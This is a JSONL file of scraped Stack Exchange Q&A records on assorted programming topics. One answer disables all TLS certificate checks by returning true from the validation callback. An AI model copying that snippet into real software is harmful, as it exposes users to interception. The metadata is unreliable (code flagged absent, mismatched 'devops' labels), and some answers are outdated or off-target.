{"id": "hf_c31c1a42a8c1", "question": "<p>I'm using Webbrowser control to login to HTTPS site with \"untrusted certificate\".\nbut I get popup such standart window \"Security Alert\" about untrusted certificate:</p>\n\n<p><img src=\"https://i.stack.imgur.com/U01dp.jpg\" alt=\"Security Alert window\"></p>\n\n<p>I have to find this window by title and send it <kbd>Alt</kbd>+<kbd>Y</kbd> to press <em>Yes</em>:</p>\n\n<pre><code>int iHandle = NativeWin32.FindWindow(null, \"Security Alert\");\nNativeWin32.SetForegroundWindow(iHandle);\nSystem.Windows.Forms.SendKeys.Send(\"Y%\");\n</code></pre>\n\n<p>but user can see a flickering of this window.</p>\n\n<p>How can I ignore this alert?<br>\nOr disable this \"untrusted certificate\" check in Webbrowser control?</p>\n", "question_body": "", "answer": "This should do it:\n```\n```\npublic static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)\n{\n    return true;\n}\n\nServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(ValidateServerCertificate);\n```\n```\nObviously, blindingly allowing certificates is a security risk.  Be careful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.497433"}
{"id": "hf_343bc88c529f", "question": "<p>We are trying to bind a Linux machine (debian 4.0) to W2k3 AD.  We have configured kerberos properly so that we can get TGTs.  And users authenticate properly.  However, PAM seems to be the sticky wicket.  For example when we try to SSH to the linux machine as one of the AD users, the authentication succeeds (as per the auth.log) but I never get shell.  The default environment is configured properly and PAM even creates the Homedir properly.  As a reference we were loosely following:</p>\n\n<p><a href=\"https://help.ubuntu.com/community/ActiveDirectoryHowto\" rel=\"nofollow noreferrer\">https://help.ubuntu.com/community/ActiveDirectoryHowto</a></p>\n", "question_body": "", "answer": "If you're confident everything but PAM works correctly, I suggest passing the debug option to pam_krb5.so to see if that gives a clue to what's happening.\nI'd also suggest verifying that nss-ldap is set up correctly using\n```\n```\ngetent passwd avalidusername\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.521331"}
{"id": "hf_f7137509806a", "question": "<pre><code>&lt;div spry:region=\"ds1\" spry:repeatchildren=\"ds1\"&gt;\n  &lt;b spry:if=\" '{title}'!='' \"&gt;\n    &lt;!-- this is the first if --&gt; \n    &lt;a href=\"#\"  spry:if=\" '{author}'!='' \"&gt;{author}\n      &lt;!-- this is the second if --&gt;\n    &lt;/a&gt;\n  &lt;/b&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p><br><br>\nI wonder if there is any method as simple as </p>\n\n<pre><code>if(x==y &amp;&amp; i&gt;j)  \n</code></pre>\n\n<p>in </p>\n\n<pre><code>&lt;b&gt;spry&lt;/b&gt; \n</code></pre>\n\n<p>region.\nI can't find any information in spry docs  (labs.adobe.com/technologies/spry/)</p>\n", "question_body": "", "answer": "The syntax inside the\n```\nspry:if\n```\nattribute is Javascript, so you can use\n```\n&&\n```\n:\n```\n```\n<b spry:if=\"'{title}' != '' && '{author}' != ''\">\n<!-- ... -->\n</b>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.552951"}
{"id": "hf_21e2c9efb3e6", "question": "<p>When Instantiating a class, Windsor by default treats all public properties of the class as optional dependencies and tries to satisfy them.  In my case, this creates a rather complicated circular dependency which causes my application to hang.  </p>\n\n<p>How can I explicitly tell Castle Windsor that it should not be trying to satisfy a public property?  I assume there must be an attribute to that extent.  I can't find it however so  please let me know the appropriate namespace/assembly.</p>\n\n<p>If there is any way to do this without attributes (such as Xml Configuration or configuration via code) that would be preferable since the specific library where this is happening has to date not needed a dependency on castle.</p>\n", "question_body": "", "answer": "DoNotWireAttribute\nClass:\nhttp://svn.castleproject.org:8080/svn/castle/trunk/Core/Castle.Core/Attributes/DoNotWireAttribute.cs\nTest:\nhttp://svn.castleproject.org:8080/svn/castle/trunk/InversionOfControl/Castle.Windsor.Tests/IgnoreWireTestCase.cs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.573511"}
{"id": "hf_0735da1605c5", "question": "<p>There is some magic going on with WCF deserialization.  How does it instantiate an instance of the data contract type without calling its constructor?</p>\n\n<p>For example, consider this data contract:</p>\n\n<pre><code>[DataContract]\npublic sealed class CreateMe\n{\n   [DataMember] private readonly string _name;\n   [DataMember] private readonly int _age;\n   private readonly bool _wasConstructorCalled;\n\n   public CreateMe()\n   {\n      _wasConstructorCalled = true;\n   }\n\n   // ... other members here\n}\n</code></pre>\n\n<p>When obtaining an instance of this object via <code>DataContractSerializer</code> you will see that the field <code>_wasConstructorCalled</code> is <code>false</code>.</p>\n\n<p>So, how does WCF do this?  Is this a technique that others can use too, or is it hidden away from us?</p>\n", "question_body": "", "answer": "```\nFormatterServices.GetUninitializedObject()\n```\nwill create an instance without calling a constructor.  I found this class by using\nReflector\nand digging through some of the core .Net serialization classes.\nI tested it using the sample code below and it looks like it works great:\n```\n```\nusing System;\nusing System.Reflection;\nusing System.Runtime.Serialization;\n\nnamespace NoConstructorThingy\n{\n    class Program\n    {\n        static void Main()\n        {\n            // does not call ctor\n            var myClass = (MyClass)FormatterServices.GetUninitializedObject(typeof(MyClass));\n\n            Console.WriteLine(myClass.One); // writes \"0\", constructor not called\n            Console.WriteLine(myClass.Two); // writes \"0\", field initializer not called\n        }\n    }\n\n    public class MyClass\n    {\n        public MyClass()\n        {\n            Console.WriteLine(\"MyClass ctor called.\");\n            One = 1;\n        }\n\n        public int One { get; private set; }\n        public readonly int Two = 2;\n    }\n}\n```\n```\nhttp://d3j5vwomefv46c.cloudfront.net/photos/large/687556261.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.642067"}
{"id": "hf_3eee730c3954", "question": "<p>Am looking for commercial/free recommended c# winform controls packs</p>\n", "question_body": "", "answer": "See the following threads:\n.NET Usercontrols telerik devexpress infragistics ComponentOne whos best", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.672541"}
{"id": "hf_a06ed10712ca", "question": "<p>How can i make my flash applications in a browser in full screen mode? I know that the stage can be put in that mode, but when i run the application in any browser this doesn't work. So, this can be done, but how?</p>\n", "question_body": "", "answer": "I believe it is a simple actionscript command.\nSource\n```\n```\nfscommand( \"fullscreen\" ,  \"true\" )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.718734"}
{"id": "hf_b6b22eda50b3", "question": "<p>Basically I have a bunch of unmanaged VC++ static libraries. And the VC++ GUI application which uses those and it is based on MFC. \nThe goal is to replace the GUI app with the one done in C# instead but using all the same static libraries.\nThe question is if this even possible, and if yes, then what is the right way to accomplish that?</p>\n\n<p>Suggestions, anybody?\nThanks. </p>\n", "question_body": "", "answer": "Yes, it is possible using C++/CLI for managed C++ code.  You would write a C++/CLI WinForms app and simply link in your static lib as per normal.\nHowever, if there is a lot of tight coupling between the GUI code and the libraries then this can get a bit messy.  You will need to worry about converting some data types between the managed and unmanaged world, particularly strings.  If you need to pass managed objects/arrays\nThere is a good introduction on\nWikipedia\nand lots of documentation on\nMSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.747583"}
{"id": "hf_08467c399274", "question": "<p>I've got the following JavaScript on my web page...</p>\n\n<pre><code>64    var description = new Array();\n65    description[0] = \"...\"\n66    description[1] = \"...\"\n...\n78    function init() {\n79        document.getElementById('somedivid').innerHTML = description[0];\n80    }\n81\n82    window.onload = init();\n</code></pre>\n\n<p>In Microsoft Internet Explorer it causes the following error...</p>\n\n<blockquote>\n  <p>A Runtime Error has occurred.<br>\n  Do you wish to debug?</p>\n  \n  <p>Line: 81<br>\n  Error: Not implemented</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/n06sz.gif\" alt=\"javascript runtime error\"></p>\n\n<p>Line 79 executes as expected.</p>\n\n<p>If line 79 is commented out, it still throws the error.</p>\n\n<p>If I comment out line 82, then the function does not execute and there is no error.</p>\n", "question_body": "", "answer": "Try to add an envent listener for 'load' instead, or use the declarative syntax\n```\n<body onload=\"init()\">\n```\n.\nEDIT: Additionally, saying\n```\nwindow.onload = init();\n```\nsets window.onload to the result of calling\n```\ninit()\n```\n. What you mean is\n```\nwindow.onload = init;\n```\n(a lambda expression). This is bad practice still, as it overwrites other things that might be bound to\n```\nwindow.onload\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.773683"}
{"id": "hf_757f04590a38", "question": "<p>I always use unix timestamps for everything, but am wondering if there is a better way.</p>\n\n<p>What do you use to store timestamps and why?</p>\n", "question_body": "", "answer": "32 bit Unix timestamps will overflow in a few years (January 2038)\n, so that might be a consideration. I generally use a DATETIME format in SQL, which is YYYY-MM-DD HH:MM:SS with the time as a 24-hour clock. I try to output to files in the same format, just to make my life easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.831417"}
{"id": "hf_5db89621037c", "question": "<p>Trying to use an excpetion class which could provide location reference for XML parsing, found an interesting behavior - compiler could not choose between overload which consumes an interface and one which needs System.Exception when I trying to pass XmlReader as a parameter.</p>\n\n<p>Detais are following:</p>\n\n<pre><code>//exception overloads:\npublic FilterXmlParseException(string message, Exception innerException)\n        : base(message, innerException) { }\npublic FilterXmlParseException(string message, IXmlLineInfo lineInfo) {...}\n\n//Usage:\nXmlReader reader = ...\nIXmlLineInfo lineinfo = (IXmlLineInfo)reader;\n\n//fails\nthrow new FilterXmlParseException(\"&lt;Filter&gt; element expected\", reader);\n\n//ok\nthrow new FilterXmlParseException(\"&lt;Filter&gt; element expected\", lineinfo);\n</code></pre>\n\n<p>And it fails since it could not select correct overload.But why? We see that XmlReader supports an interface and it is not inherited from System.Exception</p>\n", "question_body": "", "answer": "The line:\n```\n```\n//fails\nthrow new FilterXmlParseException(\"<Filter> element expected\", reader);\n```\n```\nbecause XmlReader doesn't implement IXmlLineInfo. I am not sure if your cast works, but the casts are not checked statically. If it actually works, it is because the concrete class (that inherits from XmlReader) implements this interface, but the compiler has no way to know it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.889096"}
{"id": "hf_c86a4c515e23", "question": "<p>What is tracing and how should it be done? </p>\n\n<p>I have a common utilities library I am including in my projects and I want to be able to get some output from it. I have been using log4net but would rather not have my common utilities library dependent upon log4net. Does that make sense?</p>\n\n<p>Edit:\nIs there any correlation between logging and tracing? Would I want to put tracing and logging into the same stream for some reason?</p>\n\n<p>Should I perhaps replace some of the log4net Logger.Debug(..) I have in my projects with System.Diagnostics.Trace.WriteLine(..)s?</p>\n", "question_body": "", "answer": "Here are some blog posts by Mike Rousos of the .NET BCL team:\nA Tracing Primer – Part I\n- is a simple introduction to the tracing APIs.\nA Tracing Primer – Part II (A)\n- talks mainly about filtering events\nA Tracing Primer – Part II (B)\n- talks about developing custom trace listeners (plugins that will channel your trace events to wherever you desire).\nA Tracing Primer – Part II (C)\n- talks about  how the configuration files are interpreted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.948233"}
{"id": "hf_e08bfa454fae", "question": "<p>I have seen arguments for using explicit interfaces as a method of locking a classes usage to that interface.  The argument seems to be that by forcing others to program to the interface you can ensure better decoupling of the classes and allow easier testing.</p>\n\n<p>Example:</p>\n\n<pre><code>public interface ICut\n{\n    void Cut();\n}\npublic class Knife : ICut\n{\n    void ICut.Cut()\n    {\n        //Cut Something\n    }\n}\n</code></pre>\n\n<p>And to use the Knife object:</p>\n\n<pre><code>ICut obj = new Knife();\nobj.Cut();\n</code></pre>\n\n<p>Would you recommend this method of interface implementation? Why or why not?</p>\n\n<p>EDIT:\nAlso, given that I am using an explicit interface the following would NOT work.</p>\n\n<pre><code>Knife obj = new Knife();\nobj.Cut();\n</code></pre>\n", "question_body": "", "answer": "If the client code doesn't care about anything other than the fact that it can use the object to\n```\nCut()\n```\nthings, then use\n```\nICut\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.996268"}
{"id": "hf_b5e5a2c9ca59", "question": "<p>Should new projects use logback instead of log4j as a logging framework ?</p>\n\n<p>Or with other words :'Is logback better than log4j (leaving the SLF4J-'feature' of logback beside)?'</p>\n", "question_body": "", "answer": "I'm not familiar with SLF4J, and I've only taken a brief look at logback, but two things come to mind.\nFirst, why are you excluding a tool from examination? I think it's important to keep an open mind and examine all possibilities to choose the best one.\nSecond, I think that in some projects one tool is a better than another tool, and the opposite might be true in a different project. I don't think that one tool is always better than another tool. There is, after all,\nno silver bullet\n.\nTo answer your question - Yes and no. It depends on the project, and how familiar the team is with one tool. I wouldn't say \"don't use log4j\" if the entire team is very comfortable with it, it meets all the needs, and logback doesn't offer anything that we need to complete the task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.045031"}
{"id": "hf_b827f2cd6465", "question": "<p>I am looking for a regex that will find repeating letters. So any letter twice or more, for example:</p>\n\n<pre><code>booooooot or abbott\n</code></pre>\n\n<p>I won't know the letter I am looking for ahead of time. </p>\n\n<p>This is a question I was asked in interviews and then asked in interviews. Not so many people get it correct.</p>\n", "question_body": "", "answer": "Use \\N to refer to previous groups:\n```\n```\n/(\\w)\\1+/g\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.068995"}
{"id": "hf_4445fa359280", "question": "<p>Is there some simple way to calculate a Weeknumber value from a date value stored in XML?</p>\n\n<p>It needs to be pure XSLT solution. I cannot use any code :(</p>\n", "question_body": "", "answer": "I program in Visual Basic, so I know how to do it using VB.NET.  Read your XML date into a variable (let's call it\nSomeDate\n).  Then you construct a new date that you\nknow\nis the beginning of the year that contains your unknown date.  Then, you let the\nDateDiff\nfunction do its work to tell you the week number.\n```\n```\nDim SomeDate As Date = ReadDateFromXML()\nDim YearStart As New Date(Year(SomeDate), 1, 1)\nDim WeekNumber As Integer = DateDiff(DateInterval.WeekOfYear, YearStart, SomeDate)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.104784"}
{"id": "hf_f8568e320ccb", "question": "<p>Is it possible to get the text of an <code>OleDbCommand</code> with all parameters replaced with their values? E.g. in the code below I'm looking for a way to get the query text </p>\n\n<pre><code>SELECT * FROM my_table WHERE c1 = 'hello' and c2 = 'world'\n</code></pre>\n\n<p>after I finished assigning the parameters.</p>\n\n<pre><code>var query = \"SELECT * FROM my_table WHERE c1 = ? and c2 = ?\";\nvar cmd = new OleDbCommand(query, connection);\ncmd.Parameters.Add(\"@p1\", OleDbType.WChar).Value = \"hello\";\ncmd.Parameters.Add(\"@p2\", OleDbType.WChar).Value = \"world\";\n</code></pre>\n", "question_body": "", "answer": "No:  you have to iterate through the parameters collection yourself, doing a string.Replace() to get the equivalent.  It's particularly painful when you have to use the\n```\n?\n```\nsyntax rather than the\n```\n@parametername\n```\nsyntax.\nThe reason for this is that the full string is\nnever\nassembled.  The parameters and sent to the server and treated as data, and are never included in the string.\nAll the same, I for one understand your pain.  It would have been nice if they included some kind of\n```\n.ComposeSQL()\n```\nmethod you could call\nfor debugging purposes\n, that perhaps also produces a compiler warning to help avoid use in production.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.140307"}
{"id": "hf_a996799e6ed5", "question": "<p>Is it is possible, with <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"nofollow noreferrer\">Windows Forms</a> in .NET, to change the opacity of a form without it automatically changing the opacity of the controls within the form?</p>\n\n<p>I have a form that is running maximized, that contains a flowlayoutpanel in the centre of the form with controls inside it. I would like to lower the opacity of the form so that the \"spare\" part around the flowlayoutpanel is partly transparent, but the flowlayoutpanel itself remains solid (im aiming for a <a href=\"http://www.huddletogether.com/projects/lightbox/\" rel=\"nofollow noreferrer\">lightbox</a> style effect).</p>\n", "question_body": "", "answer": "Unfortunately,\n```\nOpacity\n```\nis a property of\n```\nForm\n```\n, not\n```\nControl\n```\n. The only way I can imagine this would be possible is if you custom drew the form yourself and used an alpha-component in the brush used to paint the form background.\nEven then, I don't think it would work as the desktop composition manager (especially relevant on Windows Vista) needs to know how your form is supposed to be composed with the rest of the desktop, and I think the brush would only be transparent against the form background, rather than whatever is underneath it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.201029"}
{"id": "hf_51c28cdced8e", "question": "<pre><code>var something = {\n\nwtf: null,\nomg: null\n};\n</code></pre>\n\n<p>My JavaScript knowledge is still horribly patchy since I last programmed with it, but I think I've relearned most of it now.  Except for this.  I don't recall ever seeing this before.  What is it?  And where can I learn more about it?</p>\n", "question_body": "", "answer": "It's object literal syntax. The 'wft' and 'omg' are property names while, null and null are the property values.\nIt is equivalent to:\n```\n```\nvar something = new Object();\nsomething.wtf = null;\nsomething.omg = null;\n```\n```\nCheck out mozilla's documentation on object literals:\nhttp://developer.mozilla.org/En/Core_JavaScript_1.5_Guide:Literals#Object_Literals", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.261384"}
{"id": "hf_26865b70e94a", "question": "<p>What do I need to do to save an image my program has generated (possibly from the camera, possibly not) to the system photo library on the iPhone?</p>\n", "question_body": "", "answer": "You can use this function:\n```\n```\nUIImageWriteToSavedPhotosAlbum(UIImage *image, \n                               id completionTarget, \n                               SEL completionSelector, \n                               void *contextInfo);\n```\n```\nYou only need\ncompletionTarget\n,\ncompletionSelector\nand\ncontextInfo\nif you want to be notified when the\n```\nUIImage\n```\nis done saving, otherwise you can pass in\n```\nnil\n```\n.\nSee the\nofficial documentation for\n```\nUIImageWriteToSavedPhotosAlbum()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.319410"}
{"id": "hf_ca62e749e1e9", "question": "<p>I have the following code in my file to load a div with HTML from an AJAX call:</p>\n\n<pre><code>$('#searchButton').click( function() {\n    $('#inquiry').load('/search.php?pid=' + $('#searchValue').val());\n});\n</code></pre>\n\n<p>This works fine in Firefox and Google Chrome, but whenever I do the search in IE I get redirected back to index.php. I grabbed the URL from Firebug and pasted that into IE and no redirection happens, I just get the output that should be returned.</p>\n\n<p>I also tried changing it to a $.get() request and a full $.ajax() request but still the same redirection.</p>\n", "question_body": "", "answer": "IE Handles default events differently (also beware of hitting enter in a text field).  IE is causing some default event handler to fire.  If searchButton is a  link with HREF of \"\" it will reload the current page.  You can try to set the href to  \"javascript:void(0)\"  or do something like:\n```\n```\n$('#searchButton').click( function(e) {\n    $('#inquiry').load('/search.php?pid=' + $('#searchValue').val());\n    e.preventDefault();\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.343469"}
{"id": "hf_c7ca8ceb3671", "question": "<p>In the STL library some containers have iterators and it is commonly held that they are a superior way of iterating through these containers rather than simple for loops e.g.</p>\n\n<pre><code>for ( int i=0; i &lt; vecVector.size(); i++ )\n{\n\n..\n\n}\n</code></pre>\n\n<p>Can anyone tell me why and in what cases I should use iterators and in what cases the code snippet above please?</p>\n", "question_body": "", "answer": "Using iterators allows your code to be agnostic about the implementation of your container.  If random access for your container is cheap, there isn't much difference performance-wise.\nBut in lots of cases you won't know whether that is the case.  If you try do use your method on a linked list, for example, with subscripting, the container is going to have to walk the list on every iteration to find your element.\nSo unless you know for sure that random access to your container is cheap, use an iterator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.367949"}
{"id": "hf_e6175daed819", "question": "<p>I have this working definition:</p>\n\n<pre><code>IDENTIFIER   [a-zA-Z][a-zA-Z0-9]*\n</code></pre>\n\n<p>I don't want to keep repeating the [a-zA-Z] and [0-9], so I made two new definitions</p>\n\n<pre><code>DIGIT    [0-9]\nVALID    [a-zA-Z]\n</code></pre>\n\n<p>How can I rewrite the IDENTIFIER rule to use the DIGIT and VALID definitions?</p>\n\n<p>I don't know how to do the \"second\" match, I'm stuck here:</p>\n\n<pre><code>IDENTIFIER {VALID}[{VALID}{DIGIT}]* // This syntax is incorrect\n</code></pre>\n\n<p>Thanks.</p>\n\n<p>Edit: The entire test program that I'm using: <a href=\"http://pastebin.com/f5b64183f\" rel=\"nofollow noreferrer\">http://pastebin.com/f5b64183f</a>.</p>\n", "question_body": "", "answer": "I think this will do it, but I can't test it.  Do you have sample data?\n```\n```\n(?:[a-zA-Z])+(?:[0-9])+\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.431261"}
{"id": "hf_a65029f38e49", "question": "<p><a href=\"https://stackoverflow.com/q/133925\">JavaScript post request like a form submit</a> shows you how to submit a form that you create via POST in JavaScript. Below is my modified code.</p>\n\n<pre><code>var form = document.createElement(\"form\");\n\nform.setAttribute(\"method\", \"post\");\nform.setAttribute(\"action\", \"test.jsp\");\n\nvar hiddenField = document.createElement(\"input\");  \n\nhiddenField.setAttribute(\"name\", \"id\");\nhiddenField.setAttribute(\"value\", \"bob\");\nform.appendChild(hiddenField);\ndocument.body.appendChild(form); // Not entirely sure if this is necessary          \nform.submit();\n</code></pre>\n\n<p>What I would like to do is open the results in a new window. I am currently using something like this to open a page in a new window:</p>\n\n<pre><code>onclick = window.open(test.html, '', 'scrollbars=no,menubar=no,height=600,width=800,resizable=yes,toolbar=no,status=no');\n</code></pre>\n", "question_body": "", "answer": "Add\n```\n```\n<form target=\"_blank\" ...></form>\n```\n```\nor\n```\n```\nform.setAttribute(\"target\", \"_blank\");\n```\n```\nto your form's definition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.454931"}
{"id": "hf_395e1a682072", "question": "<p>In the Ajax toolkit you can use a Tab Container and add TabPanels to this. </p>\n\n<p>I have some controls that I want to be able to use across all tabs and the tailor the tabs with other controls as neccessary. </p>\n\n<p>My question is how do I reuse a panel on multiple tabs? \nEssentially I after something like this</p>\n\n<pre><code>&lt;TabContainer&gt;\n&lt;tabPanel1&gt;\n&lt;contentTemplate&gt;\n&lt;pnl1&gt;&lt;/pnl1&gt;\n//other controls here \n&lt;/contentTemplate&gt;\n&lt;/tabPanel1&gt;\n\n&lt;tabPanel2&gt;\n&lt;contentTemplate&gt;\n&lt;pnl1&gt;&lt;/pnl1&gt;\n//other controls here\n&lt;/contentTemplate&gt;\n&lt;tabPanel2&gt;\n&lt;/tabContainer&gt;\n\n\n&lt;pnl1&gt;\n//some controls here\n&lt;/pnl1&gt;\n</code></pre>\n", "question_body": "", "answer": "Make the panel a user control and then drop the user control in each tab panel.\n```\n```\n<TabContainer>\n  <tabPanel1>\n    <contentTemplate>\n      <uc1:MyControl id=\"myControl\" runat=\"server\" />\n    </contentTemplate>\n  </tablPanel1>\n\n  <tabPanel2>\n    <contentTemplate>\n      <uc1:MyControl id=\"myControl2\" runat=\"server\" />\n    </contentTemplate>\n  </tablPanel2>\n</TabContainer>\n\n<uc1:MyControl id=\"myControl3\" runat=\"server\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.501450"}
{"id": "hf_8e7ab856d8ad", "question": "<p>Logging can get complicated, quickly. Considering that you have some code, how do you add logging to it? What library(ies) do you use? </p>\n\n<p>What are some good code techniques for getting the most out of your logging statements while having minimal impact on your application?</p>\n", "question_body": "", "answer": "Libraries:\nLog4J\nand\nLog4Net\n(for Java and .NET respectively)\nFrom Log4J site:\nInserting log statements into your code is a low-tech method for debugging it. It may also be the only way because debuggers are not always available or applicable. This is often the case for distributed applications.\nOn the other hand, some people argue that log statements pollute source code and decrease legibility. (We believe that the contrary is true). In the Java language where a preprocessor is not available, log statements increase the size of the code and reduce its speed, even when logging is turned off. Given that a reasonably sized application may contain thousands of log statements, speed is of particular importance.\nWith log4j it is possible to enable logging at runtime without modifying the application binary. The log4j package is designed so that these statements can remain in shipped code without incurring a heavy performance cost. Logging behavior can be controlled by editing a configuration file, without touching the application binary.\nLogging equips the developer with detailed context for application failures. On the other hand, testing provides quality assurance and confidence in the application. Logging and testing should not be confused. They are complementary. When logging is wisely used, it can prove to be an essential tool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.524780"}
{"id": "hf_6c5353ad0c1d", "question": "<p>How do you add a JAR file to an already existing Java library in Eclipse?  Note that this is not a user library.</p>\n\n<p>That is, if you look at the Java Build Path for a Java project and click on the Libraries tab, you will see the list of libraries used by the project.  If you expand a given library, you will see a list of JAR files included in that library.  I want to add an additional JAR file to one of these libraries.</p>\n\n<p>I am using Version 3.4.0 of Eclipse.</p>\n", "question_body": "", "answer": "In Eclipse Ganymede (3.4.0):\nSelect the library and click \"Edit\" (left side of the window)\nClick \"User Libraries\"\nSelect the library again and click \"Add JARs\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.586649"}
